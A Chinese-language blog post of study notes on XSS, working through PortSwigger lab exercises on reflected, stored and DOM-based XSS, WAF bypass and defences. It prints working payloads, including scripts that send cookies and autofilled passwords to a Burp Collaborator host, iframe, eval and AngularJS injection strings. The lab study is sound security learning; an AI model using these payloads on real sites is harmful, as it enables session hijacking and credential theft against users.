Loading... # XSS 学习来源:https://www.ddosi.org/portswigger-xss-lab/ 练习靶场:https://xss-quiz.int21h.jp/ 、 https://portswigger.net/web-security/all-labs ## 定义 XSS——跨站脚本(Cross-site scripting),一种Web安全漏洞,允许攻击者绕过同源策略(两个URL的协议、端口、主机都相同,两个URL同源),伪装成受害者用户,执行用户能执行的任何操作,并访问到用户的数据 同源案例:http://store.company.com/dir/page.html | URL | 结果 | 原因 | | ------------------------------------------------- | -------- | -------------- | | http://store.company.com/dir2/other.html | 同源 | 只有路径不同 | | http://store.company.com/dir/inner/another.html | 同源 | 只有路径不同 | | https://store.company.com/secure.html | 不同源 | 协议不同 | | http://store.company.com:81/dir/etc.html | 不同源 | 端口不同 | | http://news.company.com/dir/other.html | 不同源 | 主机不同 | ## How 操纵易受攻击的网站,将恶意js代码返回给用户,用户触发代码时,攻击者可以破坏用户与应用程序的交互 ## 反射型XSS 【参考】:https://portswigger.net/web-security/cross-site-scripting/reflected ### 攻击方式 恶意脚本来自当前的HTTP请求(eg:xss-labs) ~~~ http://xherlock.top/test.php?a=hi+xherlock <p>hi xherlock</p> ~~~ 被恶意js攻击:通常诱导用户点击构造的网址,需要依靠外部传递机制,因此反射型XSS影响不如存储型XSS严重 ~~~html http://xherlock.top/test.php?a=<script>alert()</script> <p><script>alert()</script></p> <!-- 弹窗触发,里面可以插入攻击者构建的URL --> ~~~ 存在漏洞原因:HTTP请求的数据以不安全的方式将数据包含在了及时响应中(一般出现在搜索框) ### 手动测试反射型XSS漏洞步骤 * 测试每个入口点:get/post的参数值 * 提交随机字母数字值 * 确定反射上下文:找到提交内容出现的地方(html文本、value属性等) * 测试payload ### 应用 #### 窃取cookies(可以冒充登录) **局限性**: 1. 受害者可能没登录 2. 应用程序使用HttpOnly标志对js隐藏cookie 3. 会话被其他因素锁定,如IP地址 4. 会话超时 窃取cookie实战https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies (类似btslab,不过要用burp自带的burpsuite_pro里的burp collaborator client) 安装burpsuite pro版本教程https://blog.csdn.net/zhu940923/article/details/88082301 安装好后,点击burp左上角里的burp collaborator client,复制提供的payload,加入到下面fetch中http://后面,提交到某个post页面里 ~~~js <script> fetch('https://p2s3jzdasyb086w7bd6lysage7ky8n.burpcollaborator.net', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script> ~~~ ![image-20220714111134806.png](http://xherlock.top/usr/uploads/2022/07/3924939698.png) 回到collaborator里点击poll now即可出现其他人点击恶意代码返回的数据 可以找到其他人的cookie ![image-20220714111917898.png](http://xherlock.top/usr/uploads/2022/07/2579147524.png) ![image-20220714114725241.png](http://xherlock.top/usr/uploads/2022/07/3033614280.png) 点击my-account修改相应cookie,成功冒充管理员登录 ![image-20220714140844988.png](http://xherlock.top/usr/uploads/2022/07/3134571833.png) #### 捕获密码 许多用户使用自动填写密码的密码管理器,可以利用这点获取用户的密码 窃取密码实战 https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-capturing-passwords 前几步骤同窃取cookie,payload模拟表单提交的代码 ~~~html <input name=username id=username> <input type=password name=password onchange="if(this.value.length)fetch('https://your callaborator payload',{ method:'POST', mode: 'no-cors', body:username.value+':'+this.value });"> ~~~ 提交后点击poll now查看 ![image-20220714143302042.png](http://xherlock.top/usr/uploads/2022/07/2214925481.png) #### 执行CSRF CSRF:跨站请求伪造是一种 Web 安全漏洞,允许攻击者诱导用户执行他们不打算执行的操作。它允许攻击者部分规避同源策略,该策略旨在防止不同网站相互干扰。 #### 添加了WAF 实战 https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked 这个实验过滤了很多tag标签和属性,如下 ![image-20220716111521945.png](http://xherlock.top/usr/uploads/2022/07/2343815818.png) ![image-20220716111614719.png](http://xherlock.top/usr/uploads/2022/07/166296899.png) 可以使用burpsuite的intruder进行爆破,看哪些标签和属性可以使用 1.首先去测试哪些标签能够绕过WAF,intruder设置payload ![image-20220716110913226.png](http://xherlock.top/usr/uploads/2022/07/4020040198.png) 下面是我去[HTML 标签参考手册 (w3school.com.cn)](https://www.w3school.com.cn/tags/index.asp) 爬取的标签,可以写入txt文件,使用intruder时直接load ~~~ <!DOCTYPE> <a> <abbr> <acronym> <address> <applet> <area> <article> <aside> <audio> <b> <base> <basefont> <bdi> <bdo> <big> <blockquote> <body> <br> <button> <canvas> <caption> <center> <cite> <code> <col> <colgroup> <command> <data> <datalist> <dd> <del> <details> <dir> <div> <dfn> <dialog> <dl> <dt> <em> <embed> <fieldset> <figcaption> <figure> <font> <footer> <form> <frame> <frameset> <h1> to <h6> <head> <header> <hr> <html> <i> <iframe> <img> <input> <ins> <kbd> <keygen> <label> <legend> <li> <link> <main> <map> <mark> <menu> <menuitem> <meta> <meter> <nav> <noframes> <noscript> <object> <ol> <optgroup> <option> <output> <p> <param> <pre> <progress> <q> <rp> <rt> <ruby> <s> <samp> <script> <section> <select> <small> <source> <span> <strike> <strong> <style> <sub> <summary> <sup> <svg> <table> <tbody> <td> <template> <textarea> <tfoot> <th> <thead> <time> <title> <tr> <track> <tt> <u> <ul> <var> <video> <wbr> ~~~ ![image-20220716110348962.png](http://xherlock.top/usr/uploads/2022/07/2467657480.png) 爆破发现body标签可以绕过WAF 2.下面是确定能够使用的事件属性 intruder设置payload ![image-20220716111750518.png](http://xherlock.top/usr/uploads/2022/07/866278775.png) 去[HTML 事件参考手册 (w3school.com.cn)](https://www.w3school.com.cn/tags/html_ref_eventattributes.asp)爬取 ~~~ onafterprint onbeforeprint onbeforeunload onerror onhaschange onload onmessage onoffline ononline onpagehide onpageshow onpopstate onredo onresize onstorage onundo onunload onblur onchange oncontextmenu onfocus onformchange onforminput oninput oninvalid onreset onselect onsubmit onkeydown onkeypress onkeyup onclick ondblclick ondrag ondragend ondragenter ondragleave ondragover ondragstart ondrop onmousedown onmousemove onmouseout onmouseover onmouseup onmousewheel onscroll onabort oncanplay oncanplaythrough ondurationchange onemptied onended onerror onloadeddata onloadedmetadata onloadstart onpause onplay onplaying onprogress onratechange onreadystatechange onseeked onseeking onstalled onsuspend ontimeupdate onvolumechange onwaiting ~~~ 发现了好几个状态码为200的,说明这些事件属性未被过滤 ![image-20220716111905846.png](http://xherlock.top/usr/uploads/2022/07/4237648384.png) 选一个用来当作payload:(才发现实验网站提供了标签、属性payload:https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)选取onresize【当浏览器窗口被调整大小时触发】 进入exploit server并粘贴到body如下内容 ~~~html <iframe src="https://your-lab-id.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'> ~~~ 点击store和Deliver exploit to victim即可攻击成功 ## 存储型XSS 【参考】:https://portswigger.net/web-security/cross-site-scripting/stored ### 攻击方式 当应用程序从不受信任的来源接收数据并以不安全的方式将该数据包含在其以后的 HTTP 响应中时,就会出现存储的跨站点脚本 eg:在评论或发帖中提交 ~~~js <script>alert()</script> ~~~ 如果没有过滤就发布,别人访问页面就会出现弹窗 (论坛无过滤攻击词,直接将评论、发帖发布在网站上,用户触发漏洞遭到攻击)【经测试,我的网站主题对评论词语进行了过滤】 ![image-20220714092750010.png](http://xherlock.top/usr/uploads/2022/07/2577178168.png) ![image-20220714092803806.png](http://xherlock.top/usr/uploads/2022/07/2986211259.png) php代码审计太差了,完全找不到过滤函数(WAF),留待以后去做 ## 基于DOM的XSS 【参考】:https://portswigger.net/web-security/cross-site-scripting/dom-based **DOM** DOM 将文档解析为一个由节点和对象(包含属性和方法的对象)组成的结构集合。简言之,它会将 web 页面和脚本或程序语言连接起来。 基于DOM的XSS漏洞通常出现在JS从攻击者可控制的来源获取数据并将其传递到支持动态代码执行的接收器(同反射型相似,需要将数据放入源中) 导致DOM-XSS漏洞的主要接收器: ~~~js document.write() document.writeln() document.domain element.innerHTML element.outerHTML element.insertAdjacentHTML element.onevent ~~~ eg: ~~~js document.write('... <script>alert(document.domain)</script> ...'); ~~~ 以下 jQuery 函数也是可能导致 DOM-XSS 漏洞的接收器: ~~~js add() after() append() animate() insertAfter() insertBefore() before() html() prepend() replaceAll() replaceWith() wrap() wrapInner() wrapAll() has() constructor() init() index() jQuery.parseHTML() $.parseHTML() ~~~ ![image-20220716160749195.png](http://xherlock.top/usr/uploads/2022/07/1584369965.png) ### 应用 #### 在`document.write`中使用源接收器`location.search`的DOM XSS 实战:https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink 比较简单,在xss-labs中有很多相似练习 搜索部分绕过点:搜索\<script>alert(1)\</script> ![image-20220716152152816.png](http://xherlock.top/usr/uploads/2022/07/3234553971.png) ![image-20220716151941238.png](http://xherlock.top/usr/uploads/2022/07/1724555499.png) 来看下它们的前端js代码 ~~~js function trackSearch(query) { document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">'); } var query = (new URLSearchParams(window.location.search)).get('search'); if(query) { trackSearch(query); } ~~~ #### `location.search`使用选择元素内的`document.write`源在接收器中的 DOM XSS 实战:https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink-inside-select-element 关键部分代码 ![image-20220716153852426.png](http://xherlock.top/usr/uploads/2022/07/533745395.png) 前端form表单 ~~~html <form id="stockCheckForm" action="/product/stock" method="POST"> <input required type="hidden" name="productId" value="1"> <script> var stores = ["London","Paris","Milan"]; var store = (new URLSearchParams(window.location.search)).get('storeId'); document.write('<select name="storeId">'); if(store) { document.write('<option selected>'+store+'</option>'); } for(var i=0;i<stores.length;i++) { if(stores[i] === store) { continue; } document.write('<option>'+stores[i]+'</option>'); } document.write('</select>'); </script> <button type="submit" class="button">Check stock</button> </form> <span id="stockCheckResult"></span> ~~~ 前端js代码: ~~~js document.getElementById("stockCheckForm").addEventListener("submit", function(e) { checkStock(this.getAttribute("method"), this.getAttribute("action"), new FormData(this)); e.preventDefault(); }); // 提交表单 function checkStock(method, path, data) { const retry = (tries) => tries == 0 ? null : fetch( path, { method, headers: { 'Content-Type': window.contentType }, body: payload(data) } ) .then(res => res.status == 200 ? res.text().then(t => t + " units") : "Could not fetch stock levels!" ) // 返回结果,若状态码200,则输出:返回文本+units .then(res => document.getElementById("stockCheckResult").innerHTML = res) // 写到span里的html .catch(e => retry(tries - 1)); retry(3); } ~~~ 分析后得出攻击目标:使服务器返回结果为含alert(),这样会被写入DOM ![image-20220716154606795.png](http://xherlock.top/usr/uploads/2022/07/875531483.png) 右键点击Response to this request后再点forward ![image-20220716154706906.png](http://xherlock.top/usr/uploads/2022/07/185258041.png) ![image-20220716154930790.png](http://xherlock.top/usr/uploads/2022/07/1558783241.png) 修改为\<input onclick=alert(1)>,呃,不对,是有弹窗了但不对 拐回去看到了表单域那里的代码发现下面这部分代码可以从url中提取storeId的值生成select下的option ~~~js var store = (new URLSearchParams(window.location.search)).get('storeId'); document.write('<select name="storeId">'); if(store) { document.write('<option selected>'+store+'</option>'); } ~~~ 因此可以通过product?productId=2&storeId=\<script>alert(1)\</script>来弹窗 ![image-20220716161042699.png](http://xherlock.top/usr/uploads/2022/07/3046321647.png) #### jQuery 中的 DOM XSS 可能导致DOM-XSS漏洞的接收器: ~~~js add() after() append() animate() insertAfter() insertBefore() before() html() prepend() replaceAll() replaceWith() wrap() wrapInner() wrapAll() has() constructor() init() index() jQuery.parseHTML() $.parseHTML() ~~~ eg:可以通过修改url来使得location.search源中包含恶意js代码 ~~~js $(function() { $('#backLink').attr("href",(new URLSearchParams(window.location.search)).get('returnUrl')); }); ?returnUrl=javascript:alert(document.domain) ~~~ 实战:https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-href-attribute-sink ![image-20220716164724044.png](http://xherlock.top/usr/uploads/2022/07/2315023747.png) ~~~js <script> $(function() { $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath')); }); </script> ~~~ 直接闭合:结果发现被HTML转义 ![image-20220716164858319.png](http://xherlock.top/usr/uploads/2022/07/2743332314.png) 联想到a标签的href里的javascript: 构造:returnPath=javascript:alert(document.domain)即可成功 **使用 hashchange 事件的 jQuery 选择器接收器中的 DOM XSS** 网站使用jQuery结合location.hash或自动滚动到页面上的特定元素引起,通常由hashchange事件处理程序实现 ~~~js $(window).on('hashchange', function() { var element = $(location.hash); element[0].scrollIntoView(); }); ~~~ hash用户可控,要想利用需要找到一种`hashchange`无需用户交互即可触发事件的方法 ~~~html <iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'"> ~~~ 该src属性指向具有空哈希值的易受攻击的页面。加载iframe时,XSS 向量会附加到hash中,从而hashchange触发事件。 实战:https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-selector-hash-change-event 主页的js代码 ~~~js $(window).on('hashchange', function(){ var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')'); if (post) post.get(0).scrollIntoView(); }); ~~~ 使用主页上方的漏洞利用服务器: 在body部分添加: ~~~html <iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe> ~~~ ![image-20220716174108383.png](http://xherlock.top/usr/uploads/2022/07/3215067541.png) #### AngularJS中的 DOM XSS AngularJS 是一个流行的 JavaScript 库,它扫描包含`ng-app`属性(也称为 AngularJS 指令)的 HTML 节点的内容。将指令添加到 HTML 代码时,您可以在双花括号内执行 JavaScript 表达式。当尖括号被编码时,这种技术很有用。 eg:{{$on.constructor('alert(1)')()}},下面这个检测出使用了angularJS,因此可以考虑这种xss绕过方式 ![image-20220716201142848.png](http://xherlock.top/usr/uploads/2022/07/326581937.png) #### DOM XSS结合反射和存储的数据 eg:eval() 函数计算 JavaScript 字符串,并把它作为脚本代码来执行。 ~~~js eval("var x = '" + location.hash + "'"); ~~~ location.hash=‘;alert(1);’来弹窗 **反射DOM XSS** 实战:https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-reflected searchResults.js中关键搜索代码: ~~~js function search(path) { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { eval('var searchResultsObj = ' + this.responseText); displaySearchResults(searchResultsObj); } }; xhr.open("GET", path + window.location.search); xhr.send(); } ~~~ eval函数出存在拼接的可行性 ![image-20220716204706037.png](http://xherlock.top/usr/uploads/2022/07/4031400294.png) 上图为burpsuite截包获取的响应,可以看到搜索项在searchTerm字段中 ~~~js var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { console.log(this.responseText); } }; xhr.open("GET", path + window.location.search); xhr.send(); ~~~ 拼接js,search=\\"-alert(1)}// 【当 JSON 响应尝试转义开始的双引号字符时,它会添加第二个反斜杠】【然后在调用alert()函数之前使用算术运算符(在本例中为减法运算符)来分隔表达式】【最后,右大括号+双斜杠注释】 ~~~js var searchResultsObj = {"results":[],"searchTerm":"\\"-alert(1)}//"} ~~~ **存储型DOM XSS** 实战:https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored 首先尝试提交评论,刷新博客页面并找到请求的数据,可以看到刚才提交的数据已被存储并返回到html中 ![image-20220717091548581.png](http://xherlock.top/usr/uploads/2022/07/213599895.png) 接下来找到 loadCommentsWithVulnerableEscapeHtml.js分析代码(省略了部分没用代码),这部分代码作用是将获取的评论信息渲染在页面上 ~~~js function loadComments(postCommentPath) { let xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { let comments = JSON.parse(this.responseText); displayComments(comments); } }; xhr.open("GET", postCommentPath + window.location.search); xhr.send(); function escapeHTML(html) { return html.replace('<', '<').replace('>', '>'); } // HTML实体转义,防止插入标签,但是只转换一次 function displayComments(comments) { let userComments = document.getElementById("user-comments"); for (let i = 0; i < comments.length; ++i) { comment = comments[i]; let commentSection = document.createElement("section"); commentSection.setAttribute("class", "comment"); let firstPElement = document.createElement("p"); if (comment.author) { if (comment.website) { let websiteElement = document.createElement("a"); websiteElement.setAttribute("id", "author"); websiteElement.setAttribute("href", comment.website); firstPElement.appendChild(websiteElement) } let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author) firstPElement.innerHTML = newInnerHtml } commentSection.appendChild(firstPElement); if (comment.body) { let commentBodyPElement = document.createElement("p"); commentBodyPElement.innerHTML = escapeHTML(comment.body); commentSection.appendChild(commentBodyPElement); } userComments.appendChild(commentSection); } } }; ~~~ ![image-20220717094618291.png](http://xherlock.top/usr/uploads/2022/07/1959595674.png) 分析有几处可能利用的绕过点: 1. href标签直接拼接(前端检查),可以关闭js ![image-20220717113812813.png](http://xherlock.top/usr/uploads/2022/07/3478973742.png) 禁用js后仍不行:发现是input里的限制 ~~~html <input pattern="(http:|https:).+" type="text" name="website"> ~~~ 修改掉后发现仍然限制:估计是后端也增加了WAF ![image-20220717114429113.png](http://xherlock.top/usr/uploads/2022/07/345672538.png) 2. author处注入,利用escapeHTML只检测一次来逃避 name处:\<xherlock>\<input onclick=alert(1)>,提交后返回博客页面 ![image-20220717142226292.png](http://xherlock.top/usr/uploads/2022/07/3441048658.png) 可以看到新增了input框,点击即可弹窗 3. body处注入,同author ## XSS能做什么 * 冒充伪装受害者用户(窃取cookie) * 执行用户能够执行的任何操作 * 读取用户能够访问的任何数据 * 捕获用户的登录凭据 * 对网站进行虚拟污损 * 将木马注入网站 ## 如何防止XSS * 接收用户的输入时进行有效全面的过滤(包括前端和后端) * 输出时进行编码数据(HTML实体转义等) * 使用适当的响应标头 * 内容安全策略 具体针对防御 * 不要使用innerHTML,使用innerText进行拼接,它会自动将HTML标签解析为普通文本 * 避免使用eval,防止恶意js被运行 * 不要轻易使用操作cookie的函数 最后修改:2022 年 07 月 18 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 1 如果觉得我的文章对你有用,请随意赞赏